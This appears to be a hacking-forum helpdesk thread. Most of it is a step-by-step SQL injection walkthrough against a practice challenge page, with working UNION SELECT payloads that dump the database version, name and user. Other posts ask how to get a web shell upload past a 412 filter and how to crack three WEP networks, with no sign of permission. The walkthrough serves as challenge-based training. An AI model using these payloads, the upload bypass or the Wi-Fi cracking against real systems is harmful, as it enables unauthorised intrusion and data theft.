[roi1000]

why are kali linux tools better then keyloggers and RATs like darkcomet?

[spirited_wolf™]

why are kali linux tools better then keyloggers and RATs like darkcomet?

Who said all Kali Linux tools are better. It's actually only Metasploit framework which is the best alternative of RAT but now it is available for windows platform also and this framework helps you to exploit mostly anything.

You can check metasploit tutorials from here.
==>[Part 1]$~Metasploit for beginners<==

==>[Part 2]$~Metasploit for beginners<==

==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters[updatated]<==


Thanks 🤝

[Angel shanu]

sir can you please help me with this hard sqli website http://www.zixem.altervista.org/SQLi/lvl7.php?id=1

[spirited_wolf™]

sir can you please help me with this hard sqli website http://www.zixem.altervista.org/SQLi/lvl7.php?id=1

Sure but remember its a challenge for learning purpose 👍
Target::

PHP Code


<?php 
http://zixem.altervista.org/SQLi/level7.php?id=1 


So, lets start our SQL injection

lets try to get an error
by using single quote:- " ' "

PHP Code


<?php 
http://zixem.altervista.org/SQLi/level7.php?id=1' [No-Error] 


But try to check the source first:-

Source before single quote:-

PHP Code


<?php 
<input type='hidden' name='status' value='ok1' /> 


After single quote:-

PHP Code


<?php 
<input type='hidden' name='status' value='error' /> 


So means error is showing in source page.

Lets try to balance it using " -- - "

PHP Code


<?php 
view-source:http://zixem.altervista.org/SQLi/level7.php?id=1-- - [No-Error-in-source] 


PHP Code


<?php 
<input type='hidden' name='status' value='ok1' /> 


Lets find the total no. of columns using order by clause

PHP Code


<?php 
view-source:http://zixem.altervista.org/SQLi/level7.php?id=1+ORDER+BY+1-- - [No-Error]

view-source:http://zixem.altervista.org/SQLi/level7.php?id=1+ORDER+BY+3-- - [No-Error]

view-source:http://zixem.altervista.org/SQLi/level7.php?id=1+ORDER+BY+4-- - [Error-in-source] 


PHP Code


<?php 
<input type='hidden' name='status' value='error' /> 


Means their are 3 total number's of columns. So, now lets check which column is vulnerable using u nion s elect statement

PHP Code


<?php 
view-source:http://zixem.altervista.org/SQLi/level7.php?id=.1+U NION+S ELECT+1,2,3-- - [No-Error-but-Different] 


So if you will see the source page correctly then you will see

PHP Code


<?php 
<input type='hidden' name='status' value='ok2' /> 


Yes see properly ok1 changed to ok2 .

So, means 2nd column is vulnerable.

In order to print our dump data on screen we need to use

'/> <- in Hex and this also in Hex->[b]<!--

So everything done lets try to print version,database and user:-

http://zixem.altervista.org/SQLi/level7.php?id=.1+U NION+S ELECT+1,c oncat/**/(0 x272f3e,0x496e6a656374656420627920537069726974656420776f6c66,0 x3c62723e56657273696f6e3a3a,v e r s i o n ( ) ,0x3c62723e44617461626173653a3a,d a t a b a s e ( ) ,0x3c62723e757365723a3a, u s e r ( ) ,0x3c212d2d ),3-- -

Done thanks 🤝

Hope you learned something new 👍
Check these thread 👍



==>[Mega Tutorial Links]SQL-Injection all tutorials by Spirit<==

==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters<==

==>An ultimate reference for all Beginners Hackers<==

Thanks 🤝[/b]

[Angel shanu]

Sure but remember its a challenge for learning purpose 👍
Target::

PHP Code


<?php 
http://zixem.altervista.org/SQLi/level7.php?id=1 


So, lets start our SQL injection

lets try to get an error
by using single quote:- " ' "

PHP Code


<?php 
http://zixem.altervista.org/SQLi/level7.php?id=1' [No-Error] 


But try to check the source first:-

Source before single quote:-

PHP Code


<?php 
<input type='hidden' name='status' value='ok1' /> 


After single quote:-

PHP Code


<?php 
<input type='hidden' name='status' value='error' /> 


So means error is showing in source page.

Lets try to balance it using " -- - "

PHP Code


<?php 
view-source:http://zixem.altervista.org/SQLi/level7.php?id=1-- - [No-Error-in-source] 


PHP Code


<?php 
<input type='hidden' name='status' value='ok1' /> 


Lets find the total no. of columns using order by clause

PHP Code


<?php 
view-source:http://zixem.altervista.org/SQLi/level7.php?id=1+ORDER+BY+1-- - [No-Error]

view-source:http://zixem.altervista.org/SQLi/level7.php?id=1+ORDER+BY+3-- - [No-Error]

view-source:http://zixem.altervista.org/SQLi/level7.php?id=1+ORDER+BY+4-- - [Error-in-source] 


PHP Code


<?php 
<input type='hidden' name='status' value='error' /> 


Means their are 3 total number's of columns. So, now lets check which column is vulnerable using u nion s elect statement

PHP Code


<?php 
view-source:http://zixem.altervista.org/SQLi/level7.php?id=.1+U NION+S ELECT+1,2,3-- - [No-Error-but-Different] 


So if you will see the source page correctly then you will see

PHP Code


<?php 
<input type='hidden' name='status' value='ok2' /> 


Yes see properly ok1 changed to ok2 .

So, means 2nd column is vulnerable.

In order to print our dump data on screen we need to use

So everything done lets try to print version,database and user:-







Done thanks 🤝

Hope you learned something new 👍
Check these thread 👍



==>[Mega Tutorial Links]SQL-Injection all tutorials by Spirit<==

==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters<==

==>An ultimate reference for all Beginners Hackers<==

Thanks 🤝

thank you again sir for teaching me something new. i was really un aware about this type of source injctn

[Motiv]

Seems like a knowledgable user. Thanks for doing this :)

[spirited_wolf™]

thank you again sir for teaching me something new. i was really un aware about this type of source injctn

Thanks 👍 Keep learning and keep asking 🤝

---

Seems like a knowledgable user. Thanks for doing this :)

Thanks brother for your kind words 👍
Kudos to you 🤝

[Aakash_Choudhary]

One Question

During uploading shell :-> uploader.php.jpg

This error come :-> 412 Precondition Failed

So how to bypass it ?

[NapoleonicCode]

Hello friends. I am really interested in learning about hacking, my friends told me to read HACKING: THE ART OF EXPLOITATION bcus they say its a must read for noob hackers, have you guys read it and is it a good start to learn about hacking?

[spirited_wolf™]

Hello friends. I am really interested in learning about hacking, my friends told me to read HACKING: THE ART OF EXPLOITATION bcus they say its a must read for noob hackers, have you guys read it and is it a good start to learn about hacking?

Yes it is one of the best book for starting 👍

and check these links alos 👍

==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters<==


==>Beginners Hacking Helpdesk<-Ask Your Questions Here<==

==>[Mega Tutorial Links]SQL-Injection all tutorials by Spirit<==

==>An ultimate reference for all Beginners Hackers<==

+ Check your inbox i am sending you some E-Books.
Thanks 🤝

---

One Question

During uploading shell :-> uploader.php.jpg

This error come :-> 412 Precondition Failed

So how to bypass it ?

I am not well aware about 412 Prediction error in shell uploading but as far as i know as you remember we used to URL-Encode some character in SQL-Injection for bypassing this error.

So most probably we can do this with url encoding 👍

https://ghostbin.com/paste/8svvv

Thanks 🤝

[Francis Gallagher]

If I'm wanting to start with hacking.
What are your recommendations?
Which version of Linux?
Which coding is best learned by a noob and is most used/best to learn and use?

[Skreep18]

Hi, I've seen spirited_wolf made some great tutorials on hacking by I have noticed that most (more likely all) of them are made using Kali Linux. Are there any Noob-friendly Tutorials to work on Windows 7/8/10? Like something really easy and quick to put you on a path?

[Marine Corps]

I am trying to crack three WEP networks. I have been trying for days, resetting and trying again after failure. I feel like I am getting no where. I have not had a single success or anything close to it. On a thread I have posted people are saying "...takes literally 5 minutes." and "WEP can be done in seconds and is considered an online attack.". What am I doing wrong?

https://s13.postimg.io/immts89w7/Kali_Li..._51_47.png
https://s17.postimg.io/qc2de4nvz/Kali_Li..._47_54.png

[JackyO]

I am trying to crack three WEP networks. I have been trying for days, resetting and trying again after failure. I feel like I am getting no where. I have not had a single success or anything close to it. On a thread I have posted people are saying "...takes literally 5 minutes." and "WEP can be done in seconds and is considered an online attack.". What am I doing wrong?

What program you use ? Aircrack ?

Can try other like Wifite v2

---

If I'm wanting to start with hacking.
What are your recommendations?
Which version of Linux?
Which coding is best learned by a noob and is most used/best to learn and use?

if you want to start with Kali , try to find a couple of tutorial about pentesting in kali , they are easy to leanr and can give you a idea about the most common tools.

[Marine Corps]

The program I am currently using; unknown. I do not know Linux very well, therefore; I believe Kali, I have little to no knowledge. Right now all I am doing is opening Terminal and typing "wifite -wep". Due to, apparently the "WEP" networks being "easier to crack" then the traditional WPA2.
I have attempted to "crack" these multiple times, however the result of almost every test is it quit unexpectedly, unable to associate, unable to generate key stream, or it failed overall.